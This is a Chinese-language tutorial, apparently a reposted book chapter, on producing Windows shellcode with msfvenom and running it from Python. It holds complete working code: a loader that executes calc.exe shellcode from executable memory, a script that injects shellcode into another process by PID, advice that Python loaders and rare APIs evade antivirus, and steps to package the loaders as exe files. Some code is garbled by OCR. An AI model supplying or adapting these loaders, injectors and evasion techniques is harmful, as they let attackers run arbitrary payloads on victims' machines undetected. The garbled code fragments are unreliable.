shellcode

生成shellcode

在漏洞利用中,shellcode是不可或缺的部分,所以在网上有许多公开分享的 shellcode ,在不同平台上并不通用,需要选择适合的shellcode 。这里推荐两个常 见公开的安全平台:一个为公开的漏洞库exploit-db(见公众号链接10-1),一个 为公开的Shell-strom库(见公众号链接10-2),如图10-1和图10-2所示。

shellcode_第1张图片

图10-1    exploit-db公开漏洞库

shellcode_第2张图片

图10-2    Shell-storm公开库

此外,还可以通过软件获取shellcode 。这里选用渗透场景中出现频率较高的 Metasploit来进行shellcode生成。在配置好Metasploit 的环境中直接输入

msfvenom ,如下所示:

 

 

 

 

 

shellcode_第3张图片

进入msfvenom模块后,有许多选项供选择,这里选用-L选项可以查看所有的 Payload等信息,如下所示:

shellcode_第4张图片

这里选择windows/x64/exec模块,设置接收值为calc.exe ,选择-f选项指定生成 脚本为Python脚本的shellcode ,如下所示:

 

 

 

 

 

shellcode_第5张图片

 

 

 

 

 

 

10.2    shellcode 的加载与执行

shellcode是一段利用软件漏洞来执行的代码,为十六进制的机器码,因为经 常让攻击者获得shell而得名。shellcode常用机器语言编写,可在寄存器eip溢出  后,载入一段可让CPU执行的shellcode机器码,让计算机可以执行任意指令。

由于Python是一种较新的语言,并且现在多数杀毒厂商的软件对于Python文 件的查杀技术还不完善,因此多数Python文件都是可以做到免杀的,所以在

shellcode 的使用中Python也较为常见。下面讲解两种用Python加载的shellcode方 法。

1. 内存加载shellcode

首先通过下列命令生成一个shellcode 。使用msfvenom-p选项来指定payload, 这里选用了windows/项4/exec模块接收的参数。使用calc.exe执行弹出计算器的操 作。-f选项用来指定生成的shellcode 的编译语言。如下所示:

   msfvenom -p windows/x64/exec CMD= 'calc .exe ' -f py                                          

执行效果如下。

 

 

 

 

 

shellcode_第6张图片

具体实现步骤如下。

1)导入模块,并给程序分配内存后可进行读写操作。这里用到的模块有sys 和ctypes模块:

 

from c types import *

from ctypes .win types import * import sys

PAGE_EXECUTE_READWRITE = 0x00000040

MEM_COMMIT = 0x3000  # 分配内存

PROCESS_ALL_ACCESS = ( 0x000F0000 |

 

 

 

# 区域可执行代码,可读可写

0x00100000 | 0xFFF )  #给予进程所有权限

2)调用windows api ,以便后续进行调用。Windows中有很多内置的API ,在 执行shellcode时需要调用相关的API函数,在免杀过程中,许多杀毒软件会监控  Windows的API ,调用一些底层函数,或者少见的API函数,就可以绕过杀毒软件 的API监测:

# windows api

VirtualAlloc = windll.kernel32 .VirtualAlloc

RtlMoveMemory = windll.kernel32 .RtlMoveMemory

CreateThread = windll.kernel32 .CreateThread

WaitForSingleObject = windll.kernel32 .WaitForSingleObject

 

 

 

 

 

OpenProcess = windll.kernel32 .OpenProcess

VirtualAllocEx = windll.kernel32 .VirtualAllocEx

WriteProcessMemory = windll.kernel32 .WriteProcessMemory

CreateRemoteThread = windll.kernel32 .CreateRemoteThread

 

3)将前面生成的shellcode赋值给shellcode参数,赋值前使用bytearray函数处 理:

shellcode = bytearray(

b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"

b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"

b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"

b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"

b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"

b"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"

b"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"

b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"

b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"

b"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"

b"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"

b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"

b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"

b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"

b"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"

b"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"

b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"

b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"

b"\x63\x2e\x65\x78\x65\x00"

)

4)创建一个方法并调用,申请内存,将shellcode指向分配的内存指针,再复 制shellcode到内存中,创建线程事件并执行:

def run1() :

VirtualAlloc .restype = c types .c_void_p  # 重载函数返回类型为void

p = VirtualAlloc(c_in t(0), c_in t(len(shellcode)), MEM_COMMIT, PAGE_

EXECUTE_READWRITE)       # 申请内存

buf = (c_char * len(shellcode)) .from_buffer(shellcode)     # 将shellcode指向

# 指针

RtlMoveMemory(c_void_p(p), buf, c_in t(len(shellcode)))     # 复制shellcode到

# 申请的内存中

h = CreateThread(c_in t(0), c_in t(0), c_void_p(p), c_in t(0), c_in t(0),

pointer(c_in t(0)))       # 执行创建线程

WaitForSingleObject(c_in t(h), c_in t(-1))     # 检测线程创建事件

if __name__ == "__main__" :

run1()

5)运行后可以成功弹出计算器,如图10-3所示,但这还没有结束,如果目标 机器中没有Python环境,shellcode便无法执行。

 

 

 

 

 

shellcode_第7张图片

图10-3    用shellcode弹出计算器

6)根据脚本生成一个exe文件,使用Python的pyinstaller生成pyinstaller-F 1.py ,如下所示:

 

shellcode_第8张图片

运行exe文件也成功了,如图10-4所示。

 

shellcode_第9张图片

 

 

 

shellcode_第10张图片

图10-4    运行exe文件

2.进程注入shellcode

输入下列命令可以生成shellcode 。跟上面一样,使用-p选定exec的模块,接受 参数值为calc.exe ,设置EXITFUNC参数值为thread ,拉起子线程并在子线程中运  行shellcode 。-f用于指定生成的shellcode为Python编码:

shellcode_第11张图片

U

msfvenom -p windows/exec CMD= 'calc .exe ' EXITFUNC=thread -f py

执行效果如下所示。

 

 

 

 

 

shellcode_第12张图片

具体步骤如下:

1)导入模块,分配内存并给予权限,调用ctypes和sys模块:

 

from c types import *

from ctypes .win types import *

import sys

PAGE_EXECUTE_READWRITE = 0x00000040     # 区域可执行代码,可读可写

MEM_COMMIT = 0x3000                 # 分配内存

PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )  #给予进程所有权限

2)调用windows api ,以便后续调用,通过调用windows api执行shellcode 中的 内容:

# windows api

VirtualAlloc = windll.kernel32 .VirtualAlloc

RtlMoveMemory = windll.kernel32 .RtlMoveMemory

CreateThread = windll.kernel32 .CreateThread

WaitForSingleObject = windll.kernel32 .WaitForSingleObject

OpenProcess = windll.kernel32 .OpenProcess

VirtualAllocEx = windll.kernel32 .VirtualAllocEx

WriteProcessMemory = windll.kernel32 .WriteProcessMemory

CreateRemoteThread = windll.kernel32 .CreateRemoteThread

3)赋值shellcode ,这里使用另一种赋值方式:

 

shellcode1 =  b""

shellcode1 += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"

 

 

 

 

 

shellcode1 += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"

shellcode1 += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"

shellcode1 += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"

shellcode1 += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"

shellcode1 += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"

shellcode1 += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"

shellcode1 += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"

shellcode1 += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"

shellcode1 += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"

shellcode1 += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"

shellcode1 += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"

shellcode1 += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"

shellcode1 += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"

shellcode1 += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"

shellcode1 += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"

shellcode1 += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"

shellcode1 += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41"

shellcode1 += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"

shellcode1 += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"

shellcode1 += b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"

shellcode1 += b"\x78\x65\x00"

 

4)创建一个方法run ,用接收的pid号进行进程注入,调用之前复制的api ,通 过将shellcode注入pid进程中以完成攻击:

def run2(pid) :

h_process = OpenProcess(PROCESS_ALL_ACCESS, False, pid)

if h_process:

p = VirtualAllocEx(h_process, c_in t(0), c_in t(len(shellcode1)), MEM_ COMMIT, PAGE_EXECUTE_READWRITE)

WriteProcessMemory .argtypes = [HANDLE, LPVOID, LPCVOID, c_size_t,

POINTER(c_size_t)]

WriteProcessMemory .restype = BOOL

buf = create_string_buffer(shellcode1)

WriteProcessMemory(h_process, p, shellcode1, sizeof(buf), byref(c_ size_t(0)))

else:

print("无法打开进程pid : %s" % pid)

sys .exit()

CreateRemoteThread(h_process, None, c_in t(0), p, None, 0, byref(c_ulong(0)))

if __name__ == "__main__" :

run2(in t(sys .argv[1]))

5)运行之前,在任务管理器里找一个被注入的进程的pid号,这里选用桌面 进程pid为6828 ,如图10-5所示。

 

 

 

 

 

shellcode_第13张图片

图10-5    选用桌面进程pid

6)成功弹出计算器程序。将代码用同样的方法,使用Python的pyinstaller生 成exe文件后,仍然可以运行,如图10-6所示。

shellcode_第14张图片

图10-6    弹出计算器程序

 

你可能感兴趣的:(笔记)